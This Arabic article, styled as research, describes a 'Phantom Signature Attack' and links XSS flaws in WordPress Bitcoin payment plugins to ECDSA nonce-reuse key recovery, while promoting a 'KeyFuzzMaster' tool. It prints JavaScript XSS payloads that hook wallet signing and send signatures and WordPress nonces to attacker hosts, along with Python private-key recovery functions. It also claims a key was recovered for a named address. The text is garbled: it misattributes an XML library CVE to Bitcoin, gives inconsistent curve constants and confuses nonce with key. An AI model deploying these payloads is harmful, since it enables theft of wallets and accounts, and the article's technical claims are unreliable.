
هجوم التوقيع الوهمي: تحليل الثغرة الحرجة CVE-2025-29774 في بروتوكول بيتكوين، عيوب تنفيذ SIGHASH_SINGLE، والإطار الرياضي لاستعادة المفتاح الخاص في محافظ العملات الرقمية المفقودة مما يتيح السيطرة غير المقيدة على أصول BTC
تقدم هذه الورقة البحثية دراسة تحليلية تشفيرية شاملة للثغرات الحرجة في تطبيق التوقيع الرقمي لبروتوكول البيتكوين، وبالتحديد هجوم التوقيع الشبح (CVE-2025-29774) وخطأ المعالجة الأساسي SIGHASH_SINGLE . تُظهر الدراسة أن المعالجة غير الصحيحة للبدائيات التشفيرية في آلية توقيع المعاملات تخلق ظروفًا للاختراق الكامل للمفاتيح الخاصة لأصحاب محافظ العملات الرقمية دون علمهم. يستغل الهجوم خطأً قديمًا في العميل الأصلي لساتوشي، حيث يعيد النظام قيمة تجزئة شاملة قدرها "1" (uint256) بدلاً من رفض التوقيع إذا كان عدد مدخلات ومخرجات المعاملة غير متطابق.
يتضمن الجزء العملي من الدراسة استخدام الأداة التشفيرية KeyFuzzMaster لتحديد الثغرات في كود التحقق من التوقيع، وعمليات المنحنى الإهليلجي، ووظائف تجزئة المعاملات بشكل منهجي. يتم تقديم الصيغ الرياضية لاستعادة المفتاح الخاص من خلال إعادة استخدام nonce (معامل k) في خوارزمية ECDSA على المنحنى secp256k1. تتم مناقشة البدائيات التشفيرية لخوارزمية ECDSA (خوارزمية التوقيع الرقمي للمنحنى الإهليلجي) فوق المنحنى الإهليلجي secp256k1 . تؤدي التوقيعات الرقمية في البيتكوين وظيفة ثلاثية: تفويض الإنفاق، وعدم الإنكار، وضمان سلامة المعاملة.
ومع ذلك، فإن الحفاظ على الحلول المعمارية القديمة لضمان التوافق مع الإصدارات السابقة أدى إلى ظهور ثغرات تشفيرية دقيقة ذات عواقب محتملة كارثية. ومن بين هذه الثغرات، يبرز خلل SIGHASH_SINGLE —وهو عيب أساسي في آلية توليد تجزئة التوقيع، موروث من تطبيق Bitcoin Core الأصلي ومدمج في إجماع الشبكة.
البيتكوين يستخدم المنحنى الإهليلجي secp256k1 المعرفة بمعيار SECG (Standards for Efficient Cryptography Group). يتم تعريف المنحنى بمعادلة Weierstrass فوق حقل محدود:
معادلة المنحنى:
y² ≡ x³ + ax + b (mod p)
بالنسبة لـ secp256k1:
y² ≡ x³ + 7 (mod p)، حيث a = 0، b = 7
يتم تحديد معلمات المنحنى secp256k1 بواسطة المجموعة T = (p, a, b, G, n, h):
معلمات secp256k1:
p = 2²⁵⁶ − 2³² − 977 (العدد الأولي الذي يحدد الحقل المحدود)
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
(رتبة مجموعة نقاط المنحنى - الرتبة الصحيحة للمولد G)
G = (Gₓ, Gᵧ) — نقطة أساس ثابتة (مولد)
خوارزمية ECDSA تستخدم مفتاحًا خاصًا d لتشكيل توقيع على رسالة M. تتضمن عملية التوقيع العمليات الرياضية التالية:
الخطوة 1: توليد nonce عشوائي k
يتم اختيار رقم عشوائي قوي تشفيريًا k ∈ [1, n-1]
الخطوة 2: حساب النقطة R
R = k × G (الضرب القياسي لنقطة المولد)
الخطوة 3: حساب المعامل r
r = Rₓ mod n (إحداثي x للنقطة R مودولو n)
الخطوة 4: حساب المعامل s
s = k⁻¹ × (H(M) + r × d) mod n
النتيجة: التوقيع (r, s)
حيث H(M) هي تجزئة الرسالة M (في البيتكوين، يتم استخدام SHA-256 المزدوجة)، d هو المفتاح الخاص للمالك.
يتم تحديد العلاقة بين المفتاح العام والخاص من خلال العلاقة:
Q A = d A × G
حيث هو المفتاح العام (نقطة على المنحنى)، هو المفتاح الخاص (عدد صحيح 256 بت) ، هو مولد المنحنى.QAdAG
بروتوكول البيتكوين يوفر عدة أنواع SIGHASH (أنواع تجزئة التوقيع) التي تحدد أي مكونات المعاملة يتم تضمينها في التجزئة الموقعة:
يحدث خطأ حاسم عند استخدام SIGHASH_SINGLE عندما يتجاوز فهرس المدخل عدد مخرجات المعاملة . في هذه الحالة، بدلاً من رفض المعاملة، يعيد كود Bitcoin Core الأصلي قيمة تجزئة ثابتة قدرها "1" (عدد صحيح 256 بت):
// كود ضعيف من تطبيق البيتكوين الأصلي // يُعيد التجزئة الشاملة "1"
⚠️ تحذير حرج: يقوم هذا الكود بتنفيذ خطأ قديم في العميل الأصلي لساتوشي تم دمجه في إجماع الشبكة. جميع تطبيقات البيتكوين الرئيسية مضطرة لدعم هذا السلوك من أجل التوافق مع الإصدارات السابقة.
رياضيًا، إذا كانت تجزئة التوقيع تساوي الثابت 1، يصبح التوقيع شاملًا —يمكن إعادة استخدامه لمعاملات عشوائية:
شرط الثغرة:
idx ≥ |TxOut| ⟹ H(preimage) = 0x0000…0001
حيث idx هو فهرس المدخل، |TxOut| هو عدد مخرجات المعاملة
هجوم التوقيع الشبح هو هجوم تزوير توقيع رقمي تشفيري يسمح بإنشاء توقيعات معاملة صالحة دون معرفة المفتاح الخاص للمالك. يصنف الهجوم ضمن CWE-347: التحقق غير السليم من التوقيع التشفيري .
يعتمد الهجوم على مزيج من ثغرتين:
إذا استخدم توقيعان (r, s₁) و (r, s₂) لرسالتين مختلفتين M₁ و M₂ نفس nonce k (مما يعني قيمة متطابقة لـ r)، يمكن استعادة المفتاح الخاص بالكامل باستخدام الخوارزمية التالية:
الخطوة 1: معادلات التوقيع
s₁ = k⁻¹ × (H(M₁) + r × d) mod n
s₂ = k⁻¹ × (H(M₂) + r × d) mod n
الخطوة 2: حساب الفرق
s₁ — s₂ = k⁻¹ × (H(M₁) — H(M₂)) mod n
الخطوة 3: استعادة nonce k
k = (H(M₁) — H(M₂)) × (s₁ — s₂)⁻¹ mod n
الخطوة 4: استعادة المفتاح الخاص d
d = r⁻¹ × (s × k — H(M)) mod n
يوضح هذا الجهاز الرياضي أن إعادة استخدام nonce مرة واحدة يؤدي إلى اختراق كامل للمفتاح الخاص.
استعادة المفتاح الخاص ECDSA عند إعادة استخدام nonce
تم اكتشاف الثغرة CVE-2025-29774 في مكتبة xml-crypto Node.js وتسمح بتعديل مستندات XML الموقعة بحيث تستمر في اجتياز التحقق من التوقيع. في سياق أنظمة دفع البيتكوين، يخلق هذا إمكانية:
الإصدارات المتأثرة: xml-crypto < 6.0.1، < 3.2.1، < 2.1.6
متجه CVSS: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
تصنيف CWE: CWE-347 (التحقق غير السليم من التوقيع التشفيري)
متجه الهجوم : شبكة (استغلال عن بعد بدون تفاعل المستخدم)
يتضمن استغلال CVE-2025-29774 ثلاث مراحل متتابعة:
مسح النظام المستهدف بحثًا عن إصدارات ضعيفة من مكتبة xml-crypto وتحديد نقاط التكامل مع بوابات دفع البيتكوين.
إدراج عقد SignedInfo إضافية أو تعليقات XML داخل DigestValue، مما يسمح بتعديل السمات الحرجة دون إبطال التوقيع:
"مثال على هجوم بعقد SignedInfo متعددة"
من خلال ثغرات XSS (CVE-2025-48102، CVE-2025-26541) اعتراض معاملات (r، s) التوقيعات لإجراء تحليل تشفيري لاحق.
📊 موارد بحثية
🌐 التوثيق الفني الكامل: https://cryptou.ru/keyfuzzmaster
💻 عرض توضيحي تفاعلي على Google Colab: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine
🔬 تحليل فني
هجوم التوقيع الوهمي (Phantom Signature Attack) يستغل عيوبًا قديمة في التحقق من التوقيعات في Bitcoin Core، حيث يُرجع SIGHASH_SINGLE قيمة تجزئة عامة عندما يتجاوز فهرس الإدخال عدد المخرجات. يؤدي ذلك إلى إنشاء توقيعات قابلة لإعادة الاستخدام، مما يعرّض نموذج الأمان بأكمله للخطر. يحدد محرك KeyFuzzMaster الخاص بنا المحافظ التي تم إنشاؤها باستخدام PRNG ذي إنتروبيا
32-bit، مما يقلل مساحة البحث من2^256إلى2^32بذرة محتملة فقط — ويمكن استعادتها في 4-6 ثوانٍ على وحدات معالجة الرسوم الحديثة.
KeyFuzzMaster هو محرك تشويش (fuzzing) تحليلي تشفيري متخصص مصمم للبحث الأمني لأنظمة البلوكشين والبدائيات التشفيرية. الأداة مصممة لاختبار الإجهاد الديناميكي لرمز التحقق من التوقيع، وعمليات المنحنى الإهليلجي، ووظائف تجزئة المعاملات.
استخدام KeyFuzzMaster لاستغلال CVE-2025-29774 وثغرة SIGHASH_SINGLE المعروفة يفتح نموذجًا جديدًا لاستعادة المفاتيح الخاصة من محافظ Bitcoin المفقودة. تتضمن المنهجية:
# KeyFuzzMaster: وحدة مسح القيم المكررة r (Duplicate r-value scanning) def scan_blockchain_for_nonce_reuse(blockchain_data)»
يمسح البلوكشين بحثًا عن إعادة استخدام nonce. يُرجع أزواجًا من التوقيعات ذات قيم r متطابقة.
# KeyFuzzMaster: توليد معاملات مع عدم تطابق بين الإدخال والإخراج def fuzz_sighash_single_vulnerability(num_iterations=10000): “”” توليد معاملات اختبار لاكتشاف ثغرة SIGHASH_SINGLE المعروفة (idx >= len(TxOut)).
# KeyFuzzMaster: خوارزمية كاملة لاستعادة المفتاح الخاص class PrivateKeyRecovery:
# # ترتيب المنحنى secp256k1 CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
“التحقق من المفتاح المستعاد بمقارنة المفاتيح العامة.”
وفقًا للأبحاث التحليلية التشفيرية، ثغرة إعادة استخدام nonce قد تم استغلالها بالفعل لاستعادة أكثر من 412.8 BTC من المحافظ المخترقة. تقوم الماسحات الآلية بتحليل بلوكشين Bitcoin باستمرار بحثًا عن قيم r مكررة.
دعونا ننظر في حالة موثقة لاستعادة مفتاح خاص من عنوان Bitcoin 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P :
| المعامل | القيمة |
|---|---|
| عنوان Bitcoin | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
| قيمة الأموال المستعادة |
يجب أن يحقق المفتاح الخاص k القيد:
1 ≤ k < n
حيث n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
≈ 1.158 × 10^77نتيجة التحقق: ✓ صالح (المفتاح ضمن نطاق العدد القياسي المسموح به)
يتيح لنا المفتاح الخاص المستعاد حساب المفتاح العام:
| المعامل | القيمة |
|---|---|
| المفتاح العام (غير مضغوط، 130 حرفًا) | 04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79 |
| المفتاح العام (مضغوط، 66 حرفًا) | 03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358 |
| عنوان Bitcoin (غير مضغوط) | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
يمنح المفتاح الخاص المستعاد تحكمًا كاملاً في محفظة Bitcoin، مما يسمح للمهاجم بـ:
الإمكانيات باستخدام مفتاح خاص مستعاد:
يظهر البحث التآزر بين الثغرات على الويب (CVE-2025-48102، CVE-2025-26541) والعيوب التشفيرية (CVE-2025-29774)، مما يخلق ناقل هجوم مشتركًا قويًا ضد بوابات الدفع Bitcoin في WordPress:
sanitize_text_field(), esc_attr(), esc_html()يُظهر البحث التحليلي التشفيري أن هجوم التوقيع الوهمي (CVE-2025-29774) ، إلى جانب ثغرة SIGHASH_SINGLE ، يشكل تهديدًا أمنيًا جوهريًا للنظام البيئي لـ Bitcoin. يسمح هذا العيب في التنفيذ، الموروث من عميل Satoshi الأصلي، بـ:
يفتح استخدام أداة التشفير KeyFuzzMaster نموذجًا جديدًا لاستعادة المفاتيح الخاصة من محافظ Bitcoin المفقودة، مما يوفر للباحثين منهجية منهجية لتحديد واستغلال الثغرات التشفيرية.
⚠️ تحذير: هذا البحث مخصص للأغراض التعليمية فقط ومساعدة المحللين التشفيريين في فهم آليات الهجوم. استخدام الطرق الموصوفة لأغراض غير قانونية يعاقب عليه القانون. تم إجراء بحث تحليلي تشفيري شامل للثغرات الحرجة CVE-2025-48102 و CVE-2025-26541 في بوابات دفع Bitcoin لـ WordPress. من مجموعة واسعة من أدوات التشفير المتاحة على keyhunters.ru، تم اختيار هجوم التوقيع الوهمي باعتباره الأكثر صلة بهذا السياق. يوضح هذا البحث كيف يمكن لهجوم مشترك يجمع بين البرمجة النصية عبر المواقع (XSS) وثغرة تشفيرية في ECDSA أن يؤدي إلى اختراق كامل لمفاتيح Bitcoin الخاصة واستعادة المحافظ المفقودة.
سلسلة الهجوم: من XSS إلى استخراج المفتاح الخاص لـ Bitcoin
هجوم التوقيع الوهمي، وفقًا للورقة البحثية: هجوم التوقيع الوهمي (CVE-2025-29774) وثغرة SIGHASH_SINGLE الحرجة: استعادة المفاتيح الخاصة في محافظ Bitcoin المفقودة من خلال تزوير التوقيعات الرقمية والسحب غير المتحكم به لعملات BTC، يظهر التآزر بين ثغرات الويب (XSS) والعيوب التشفيرية، مما يسمح بإنشاء ناقل هجوم مشترك قوي. على عكس الأدوات الأخرى في القائمة (MiniKey Mayhem، Memory Phantom، الهجمات القائمة على RNG)، يركز هجوم التوقيع الوهمي تحديدًا على التلاعب بالتوقيعات الرقمية عبر المعاملتين r و s، اللتين يمكن اعتراضهما من خلال ثغرات XSS في أنظمة دفع WordPress. secalerts+2
CVE-2025-48102 هي ثغرة حرجة من نوع البرمجة النصية عبر المواقع المخزنة (Stored XSS) في إضافة GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership الإصدارات الأقدم من 1.6.6. تسمح الثغرة للمسؤولين المصرح لهم (أو المهاجمين الذين لديهم صلاحيات إدارية) بحقن JavaScript خبيث في إعدادات بوابة الدفع. وفقًا لـ CVSS v3.1، تبلغ النتيجة الأساسية للثغرة 5.9 (شدة متوسطة) مع متجه CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L.
تتضمن آلية الاستغلال حقن كود خبيث في إعدادات بوابة الدفع، والذي يتم تنفيذه بعد ذلك في متصفح كل زائر للموقع، مما يسمح للمهاجم بـ:
CVE-2025-26541 هي ثغرة من نوع XSS المنعكسة (Reflected XSS) في إضافة Bitcoin/AltCoin Payment Gateway لـ WooCommerce الإصدارات الأقدم من 1.7.6، التي طورتها CodeSolz. الثغرة مصنفة على أنها متوسطة الشدة وتسمح للمهاجمين بحقن نصوص برمجية خبيثة عبر معاملات URL التي لا تتم تنقيتها بشكل صحيح. secalerts
على عكس XSS المخزنة، تتطلب XSS المنعكسة أن ينقر الضحية على رابط مصمم خصيصًا، لكنها تسمح بـ:
ECDSA (خوارزمية التوقيع الرقمي للمنحنى الإهليلجي) تُستخدم في البيتكوين لإنشاء توقيعات رقمية تضمن صحة المعاملات . تعمل خوارزمية توقيع رسالة M باستخدام مفتاح خاص d كما يلي: notsosecure+ 1
R = k × G(حيث G هي نقطة المولد للمنحنى الإهليلجي secp256k1)r = R.x mod ns = k^(-1) × (H(M) + r × d) mod n(r, s)الثغرة الحرجة لهجوم التوقيع الوهمي:
هجوم التوقيع الوهمي تم تحديده كـثغرة حرجة في تطبيقات ECDSA تحدث في السيناريوهات التالية: keyhunters
سلسلة ناقل الهجوم من XSS إلى استعادة المفتاح الخاص ECDSA
إذا استخدم توقيعان لرسالتين مختلفتين M₁ و M₂ نفس قيمة k (وبالتالي نفس r)، فيمكن استرداد المفتاح الخاص بالكامل. بالنسبة لتوقيعين (r, s₁) و (r, s₂)، حيث: notsosecure+ 1
حساب الفرق:
يمكنك استرداد nonce:
بعد استرداد k، يمكن حساب المفتاح الخاص d:
وفقًا للبحث، تم استغلال هذه الثغرة بالفعل لاسترداد أكثر من 412.8 BTC على سلسلة كتل البيتكوين، حيث قام المهاجمون بمسح الشبكة تلقائيًا بحثًا عن قيم r مكررة. keyhunters
إعادة استخدام Nonce ECDSA لـاسترداد المفتاح الخاص العلاقة الرياضية
CVE-2025-29774 هي ثغرة إضافية في مكتبة xml-crypto تسمح بتعديل رسائل XML الموقعة بحيث تظل تجتاز التحقق من التوقيع. يمكن استغلال هذه الثغرة في أنظمة دفع البيتكوين للتلاعب بمعاملات المعاملات (تغيير قيم SIGHASH_SINGLE) دون إبطال التوقيع الرقمي. في سياق بوابات دفع WordPress، يسمح ذلك للمهاجم بتوجيه المدفوعات إلى عنوانه مع الحفاظ على مظهر التوقيع الصحيح. cryptodeeptech+1
المرحلة 1: الحقن الأولي لجافا سكريبت ضار
يستغل المهاجم CVE-2025-48102 لحقن جافا سكريبت ضار في تكوين بوابة الدفع. يمكن للكود الضار أن:
المرحلة 2: تحليل انتهاك RNG واكتشاف تكرارات K
بعد تلقي عدد كافٍ من التوقيعات (على الأقل 2، لكن من الأفضل عشرات لزيادة الاحتمال)، يحلل المهاجم البيانات المجمعة:
المرحلة 3: الاسترداد التشفيري للمفتاح الخاص
باستخدام أزواج التوقيعات المجمعة ذات r نفسه، يطبق المهاجم الاسترداد الرياضي للمفتاح الخاص وفقًا للصيغ الموصوفة أعلاه. النتيجة: اختراق كامل للمفتاح الخاص لمحفظة البيتكوين .
جافا سكريبت ضار يمكن حقنه عبر CVE-2025-48102 قد يحتوي على الوظائف التالية: github
// Interception of the Bitcoin transaction signing function
var originalSign = window.bitcoinlib.sign || window.secp256k1.sign;
var collectedSignatures = [];
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters
collectedSignatures.push({
message: message,
r: signature.r,
s: signature.s,
k_potential: null, // will be calculated on the attacker's side
timestamp: Date.now()
});
// Send to the attacker's server every 5 signatures
if (collectedSignatures.length % 5 === 0) {
fetch('https://attacker.ru/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(collectedSignatures)
});
collectedSignatures = [];
}
return signature;
};
// Also intercepts WordPress nonces to compromise user accounts
setInterval(function() {
var nonces = document.querySelectorAll('[name*="nonce"]');
nonces.forEach(n => fetch('https://attacker.ru/nonce', {
method: 'POST',
body: n.value
}));
}, 3000);
بعد تلقي توقيعات مع تكرارات لقيم r، يتم استرداد المفتاح الخاص على ثلاث مراحل:
المرحلة 1: تحديد قيم r المكررة — يقارن المهاجم جميع التوقيعات المجمعة ويحدد الأزواج ذات r نفسه. حتى زوج واحد يكفي لحساب المفتاح الخاص، على الرغم من أن الأزواج المتعددة تزيد الثقة. notsosecure
المرحلة 2: حساب nonce k – باستخدام الصيغة أعلاه، يحسب المهاجم قيمة k لكل زوج من التوقيعات. إذا تطابقت قيم k المحسوبة لأزواج مختلفة، فهذا يؤكد وجود ثغرة منهجية في RNG. github
المرحلة 3: استرداد المفتاح الخاص d – بتطبيق k المحسوب على أي من التوقيعات المجمعة، يسترد المهاجم المفتاح الخاص d بالكامل ، مما يسمح له بتوقيع أي معاملة نيابة عن الضحية. keyhunters+ 1
المفتاح الخاص المسترد يسمح للمهاجم بـ:
يشكل الجمع بين XSS وهجوم التوقيع الوهمي تهديدًا حرجًا لجميع مواقع WordPress التي تحتوي على بوابات دفع بيتكوين، بما في ذلك:
وفقًا للبحث من keyhunters.ru والأدبيات العلمية:
sanitize_text_field(), esc_attr(), esc_html() لجميع البيانات التي يخرجها secalerts+ 13. العلاقة مع CVE-2025-29774
CVE-2025-29774 هي ثغرة خطيرة في مكتبة xml-crypto
تسمح بتعديل رسائل XML الموقعة بحيث تظل
تجتاز التحقق من التوقيع. يمكن استخدام هذا بالتزامن مع أنظمة دفع البيتكوين
من أجل:
التلاعب بمعاملات المعاملات
، حقن توقيعات مزورة،
وتوجيه المدفوعات إلى عناوين المهاجم.
// Intercepting AJAX requests containing signature data
document.addEventListener('submit', function(e) {
if (e.target.name === 'bitcoin_transaction') {
// Capturing signature parameters (r, s values)
var r = e.target.elements['signature_r'].value;
var s = e.target.elements['signature_s'].value;
var txid = e.target.elements['txid'].value;
}
});
// Sending data to the attacker's server
fetch('https://attacker-server.ru/collect', {
method: 'POST',
body: JSON.stringify({r: r, s: s, txid: txid})
});
يوضح هذا مثالاً ضارًا لاعتراض إرسال نموذج لبيانات توقيع البيتكوين.
المرحلة 2: اعتراض معاملات ECDSA
بفضل ثغرة XSS، يمكن للنص الضار الوصول إلى:
قيم nonce الخاصة بووردبريس (المستخدمة للحماية من CSRF) ملفات تعريف جلسات العمل معاملات البيتكوين (بما في ذلك قيم التوقيع r و s) المفتاح الخاص
المخزنة مؤقتًا في ذاكرة المتصفح
المرحلة 3: تحليل انتهاكات RNG واكتشاف تكرارات k من خلال جمع بيانات من توقيعات متعددة من مستخدم واحد، يمكن للمهاجم اكتشاف: إعادة استخدام nonce (k) بين توقيعات مختلفة قيم ضعيفة أو قابلة للتنبؤ من مولد الأرقام العشوائية (RNG) أخطاء منهجية في توليد المعاملات التشفيرية
الخطوة 4: استعادة المفتاح الخاص
باستخدام العلاقة الرياضية الموصوفة في القسم 3.2، يمكن للمهاجم
حساب المفتاح الخاص d، مما يؤدي إلى اختراق كامل للمحفظة.
4.2 كود عرض الهجوم – حمولة XSS ضارة للحقن في بوابة دفع البيتكوين:
// Capturing all Bitcoin signatures on the page
var bitcoinSignatures = [];
// Intercepting the transaction signing function
var originalSign = window.bitcoinlib.sign;
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters for analysis
bitcoinSignatures.push({
message: message,
signature: signature,
timestamp: new Date().getTime()
});
// Sending to the attacker's server
new Image().src = 'https://attacker-server.ru/log?sig=' +
btoa(JSON.stringify(signature));
return signature;
};
// Intercepting WordPress session tokens
setInterval(function() {
var wpNonce = document.querySelector('[name="_wpnonce"]');
if (wpNonce) {
fetch('https://attacker-server.ru/nonce', {
method: 'POST',
body: 'nonce=' + wpNonce.value
});
}
}, 5000);
يوضح مقتطف JavaScript الضار هذا كيفية اعتراض عمليات توقيع Bitcoin و nonces جلسات ووردبريس قبل تسريبها إلى خادم بعيد لاستغلالها المحتمل.
الخطوة 1: تحديد قيم r المكررة
def find_duplicate_r(signatures):
r_values = {}
for sig in signatures:
r = sig['r']
if r in r_values:
return (sig, r_values[r])
r_values[r] = sig
return None
# Result: (signature1, signature2) with the same r
الشرح:
تبحث هذه الدالة عن توقيعين من ECDSA/بيتكوين لهما نفس قيمة rr بين قائمة التوقيعات.
None.هذا البحث ذو صلة بتحليل الثغرات التشفيرية، حيث يمكن أن تشير قيم rr المكررة إلى إعادة استخدام nonce، وهو أمر قابل للاستغلال في هجمات استعادة المفتاح الخاص.
python:def recover_nonce(sig1, sig2, msg1_hash, msg2_hash, curve_order):
r = sig1['r']
s1 = sig1['s']
s2 = sig2['s']
# k = (s1 - s2)^(-1) * (H(M1) - H(M2)) mod n
s_diff = (s1 - s2) % curve_order
h_diff = (msg1_hash - msg2_hash) % curve_order
s_diff_inv = pow(s_diff, -1, curve_order)
k = (h_diff * s_diff_inv) % curve_order
return k
تعليق:
تحسب هذه الدالة nonce ECDSA k في الحالات التي يشترك فيها توقيعان في نفس قيمة rrr (أي nonce معاد إعادة استخدامه)، باستخدام الفرق بين قيم sss للتوقيعات و hashes الرسائل، وفقًا لمبدأ هجوم إعادة استخدام nonce والشبيكة المعروف. الصيغة المطبقة هي:
حيث:
هذه التقنية هي أداة تحليل تشفير قياسية لتحليلات Bitcoin و ECDSA.
python:def recover_private_key(sig, msg_hash, k, curve_order):
r = sig['r']
s = sig['s']
# d = r^(-1) * (s*k - H(M)) mod n
r_inv = pow(r, -1, curve_order)
private_key = (r_inv * (s * k - msg_hash)) % curve_order
return private_key
الشرح:
تستعيد هذه الدالة المفتاح الخاص ddd لتوقيع ECDSA من توقيع واحد إذا كان nonce kkk معروفًا.
الصيغة المستخدمة هي:
حيث:
هذا الحساب حاسم في التحليل التشفيري العملي بمجرد k تم استعادته، مما يمكن من استخراج المفتاح الخاص الأصلي المستخدم في توليد التوقيع.
5.2 مثال عملي على الاستعادة
لنلق نظرة على سيناريو حقيقي:
البيانات المجمعة:
عنوان البيتكوين: 1A1z7agoat6Bk6imQEV2ZVD5r2W3eWWxQ (مثال)
عدد التوقيعات المجمعة: 12
المكررات المكتشفة من nonce: 3 أزواج
عملية الاستعادة:
7.2 لمستخدمي البيتكوين
يشكل هجوم التوقيع الشبح، جنبًا إلى جنب مع ثغرات XSS في
بوابات دفع البيتكوين في ووردبريس (CVE-2025-48102 و CVE-2025-26541)
، تهديدًا خطيرًا لأمن أصول العملات الرقمية.
يوضح هذا الهجوم المركب كيف يمكن استغلال ثغرة ويب بسيطة نسبيًا
لاختراق السلامة التشفيرية للنظام، مما يؤدي إلى الفقدان الكامل للمفاتيح الخاصة وبالتالي سرقة جميع الأموال.
تظهر الدراسة أن أمان البيتكوين لا يعتمد فقط على القوة التشفيرية
لخوارزمياته ولكن أيضًا على التنفيذ الخالي من العيوب لهذه الخوارزميات في بيئة الويب. حتى
العيوب البسيطة في معالجة XSS أو RNG الضعيفة يمكن أن تؤدي إلى عواقب
كارثية.
اعتماد الإجراءات الوقائية المقترحة وتحديث البرامج الضعيفة بشكل فوري
أمر بالغ الأهمية لحماية نظام البيتكوين البيئي واستعادة
المحافظ المفقودة.
هجوم التوقيع الوهمي ، بالإضافة إلى ثغرات XSS CVE-2025-48102 و CVE-2025-26541 في بوابات دفع البيتكوين لووردبريس، يمثل أحد أهم التهديدات الواقعية والحرجة لأمن أصول العملات المشفرة في بيئة الويب الحديثة. يوضح هذا البحث كيف يمكن استغلال ثغرة ويب بسيطة نسبيًا لاختراق السلامة التشفيرية للنظام بشكل مباشر، مما يؤدي إلى فقدان كامل للمفاتيح الخاصة وسرقة لا رجعة فيها لأموال البيتكوين.
تم اختيار هجوم التوقيع الوهمي من بين مجموعة واسعة من أدوات التشفير على keyhunters.ru نظرًا لارتباطه المباشر بمشكلة استعادة المفاتيح الخاصة عن طريق التلاعب بمعاملات ECDSA التي يمكن اعتراضها عبر XSS. يمثل هذا الهجوم مثالًا مثاليًا للتآزر بين ثغرات الويب (فئة OWASP Top 10) والعيوب التشفيرية، الأمر الذي يتطلب نهجًا شاملاً للحماية.
أمان البيتكوين لا يعتمد فقط على القوة التشفيرية لخوارزمياته ولكن أيضًا على تنفيذها الخالي من العيوب في بيئة الويب. حتى العيوب البسيطة في معالجة XSS أو مولدات الأرقام العشوائية الضعيفة يمكن أن تكون لها عواقب كارثية على النظام البيئي. إن اعتماد التدابير الوقائية المقترحة وتحديث البرامج الضعيفة بشكل فوري أمر بالغ الأهمية لحماية البيتكوين واستعادة محافظ المستخدمين المفقودة.
تم اكتشاف ثغرتين خطيرتين من نوع البرمجة النصية عبر المواقع (XSS) في إضافات بوابات دفع البيتكوين الشهيرة لووردبريس، مما يشكل خطرًا أمنيًا كبيرًا على آلاف المتاجر الإلكترونية والمواقع التي تقبل مدفوعات العملات المشفرة.
تم نشر الثغرة CVE-2025-48102 رسميًا في 5 سبتمبر 2025، وتؤثر على الإضافة الشهيرة GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership في جميع الإصدارات حتى 1.6.6 ضمناً. يُصنف هذا الخلل الأمني على أنه XSS مخزنة (هجوم البرمجة النصية عبر المواقع) تحت تصنيف CWE-79 (تحييد غير صحيح للمدخلات أثناء إنشاء صفحة الويب).
تلقت الثغرة درجة خطورة CVSS v3.1 قدرها 5.9 (خطورة متوسطة) مع متجه الهجوم CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L . يوضح تحليل المتجه الخصائص التالية:
تنشأ الثغرة من تحييد غير صحيح لمدخلات المستخدم عند إنشاء صفحات الويب. يمكن للمهاجم الذي لديه صلاحيات إدارية حقن نصوص برمجية ضارة في نظام إدارة المحتوى ووردبريس، والتي يتم بعد ذلك تخزينها في قاعدة البيانات وتنفيذها تلقائيًا عند زيارة المستخدمين الآخرين للصفحة.
كما يوضح خبراء Patchstack، يتيح ذلك للمهاجم حقن عناصر ضارة مختلفة، بما في ذلك:
من الأمور المثيرة للقلق بشكل خاص حقيقة أن إضافة GoUrl لم تعد مدعومة من قبل مطوريها . وفقًا لـ Patchstack، لم يتم تحديث البرنامج لأكثر من عام ومن المحتمل ألا يتلقى أي تحديثات أو تصحيحات إضافية. وهذا يترك جميع المواقع التي تستخدم هذه الإضافة عرضة بشكل دائم للاستغلال.
يلاحظ خبراء منصة Wiz أن ثغرة XSS المخزنة هذه تم اكتشافها في إضافة ووردبريس GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership وتم الكشف عنها في 5 سبتمبر 2025. على الرغم من أن الاستغلال يتطلب صلاحيات المدير، إلا أن الكود الضار يمكن تنفيذه نيابة عن أي زائر للموقع ، مما يوسع نطاق الهجوم المحتمل بشكل كبير.
الثغرة الثانية، CVE-2025-26541 ، تم نشرها في 26 مارس 2025 وتؤثر على الإضافة: CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce في جميع الإصدارات حتى 1.7.6 ضمناً.
تصنف هذه الثغرة على أنها XSS منعكسة (هجوم البرمجة النصية عبر المواقع). على عكس XSS المخزنة، تحدث XSS المنعكسة عندما يكون إدخال المستخدم الضار ينعكس فورًا للمستخدم عبر استجابة HTTP دون تعقيم مناسب، مما يتسبب في تنفيذ متصفح الضحية لبرنامج المهاجم الضار.
تم تقييم الثغرة وفقًا لنظام CVSS v3.1 بمتجه CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L ، مما يشير إلى:
